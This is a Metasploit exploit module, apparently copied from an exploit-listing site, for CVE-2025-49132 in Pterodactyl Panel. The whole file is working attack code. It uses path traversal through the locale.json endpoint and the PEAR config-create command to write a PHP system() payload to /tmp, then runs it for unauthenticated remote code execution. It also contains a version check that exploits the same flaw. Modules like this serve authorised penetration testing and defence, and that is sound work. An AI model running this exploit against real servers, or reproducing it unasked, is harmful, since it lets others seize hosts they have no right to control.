## https://sploitus.com/exploit?id=PACKETSTORM:227072
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pterodactyl Panel CVE-2025-49132 Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in Pterodactyl Panel before version 1.11.11 that allows unauthenticated
remote code execution through improper handling of locale file operations. The vulnerability
exists in the locale.json endpoint which allows path traversal and arbitrary file creation. Code execution
is in the context of the user running the webserver.
The exploit leverages PEAR (PHP Extension and Application Repository) for command injection by creating a
malicious payload file in the /tmp through path traversal, then executing it via PHP execution with pearcmd.
},
'Author' => [
'0xtensho', # Original PoC
'jheysel-r7', # MSF Module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-49132'],
['URL', 'https://github.com/0xtensho/CVE-2025-49132-poc']
],
'Platform' => %w[unix linux],
'Targets' => [
[
'Command Payload',
{
'Arch' => ARCH_CMD,
'Type' => :cmd
}
]
],
'Payload' => {
'BadChars' => "\x20\x27",
'EncoderType' => Msf::Encoder::Type::CmdPosixBase64
},
'DisclosureDate' => '2025-06-19',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl instance', '/']),
OptString.new('UPLOAD_DIR', [false, 'Upload directory (defaults to the default webroot in the docker instance)', '/tmp']),
OptString.new('TRAVERSAL_PATH', [false, 'Traversal path (defaults to the default install location of php in the )', '/usr/local/lib/php']),
OptInt.new('TRAVERSAL_DEPTH', [false, 'Number of ../ segments to use during path traversal (default: 5)', 5]),
]
)
end
def check
# Try to detect the vulnerability by attempting a benign path traversal - this will not be accessible from a patched version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json?locale=../../&namespace=config/app')
)
if res&.code == 200
json = res&.get_json_document
if json.nil? || json.empty?
return CheckCode::Unknown('Response did not contain a valid JSON document')
end
version = json.dig('../../', 'config/app', 'version')
return CheckCode::Unknown('Response did not contain a valid version number') unless version
rex_version = Rex::Version.new(version)
if rex_version < Rex::Version.new('1.11.11')
# Usually we return Appears for a version check but this version is only obtainable through exploiting
# the vulnerability itself, so we can be confident that if we see this version, it's vulnerable
return CheckCode::Vulnerable("Version found: #{version}")
else
# This code path should not be reachable in a patched version, but it's here just in case
return CheckCode::Safe("Version found: #{version}")
end
elsif res&.code == 403 || res&.code == 404
# Path traversal is being blocked
return CheckCode::Safe('Path traversal is being blocked')
end
CheckCode::Unknown('Non-200 response received, unable to determine vulnerability status')
end
def exploit
payload_code = generate_encoded_payload
filename = "#{Rex::Text.rand_text_alpha(10).downcase}.php"
traversal_depth = '../' * datastore['TRAVERSAL_DEPTH']
upload_payload(payload_code, filename, traversal_depth)
execute_payload(filename, traversal_depth)
end
def upload_payload(payload_code, filename, traversal_depth)
upload_dir = datastore['UPLOAD_DIR']
payload_file = File.join(upload_dir, filename)
print_status("Uploading payload file to #{payload_file}")
traverse_path = "#{traversal_depth}#{datastore['TRAVERSAL_PATH'].sub(%r{^/}, '')}"
first_url = build_exploit_url(traverse_path, filename, payload_code, upload_dir)
print_status('Sending initial payload creation request...')
res1 = send_request_cgi(
'method' => 'GET',
'uri' => first_url
)
unless res1&.code == 200
fail_with(Failure::UnexpectedReply, "Failed to upload payload file, server responded with code: #{res1&.code || 'no response'}")
end
register_file_for_cleanup(payload_file)
print_status("Initial request response code: #{res1.code}")
end
def execute_payload(filename, traversal_depth)
print_status('Triggering payload execution...')
url2 = build_execution_url(filename.sub(/\.php$/, ''), traversal_depth)
res2 = send_request_cgi(
'method' => 'GET',
'uri' => url2
)
if res2
print_warning('The module received a response from the server, which may indicate the payload did not execute as expected')
end
end
def generate_encoded_payload
"<?=system('#{payload.encoded}')?>"
end
def build_exploit_url(traverse_path, filename, payload, upload_dir)
base_path = normalize_uri(target_uri.path, 'locales', 'locale.json')
url = "#{base_path}?+config-create+/&locale=#{traverse_path}&namespace=pearcmd&/#{payload}+/#{upload_dir}/#{filename}"
vprint_status("Exploit URL: #{url}")
url
end
def build_execution_url(filename_base, traversal_depth)
base_path = normalize_uri(target_uri.path, 'locales', 'locale.json')
url = "#{base_path}?locale=#{traversal_depth}#{datastore['UPLOAD_DIR']}&namespace=#{filename_base}"
vprint_status("Execution URL: #{url}")
url
end
end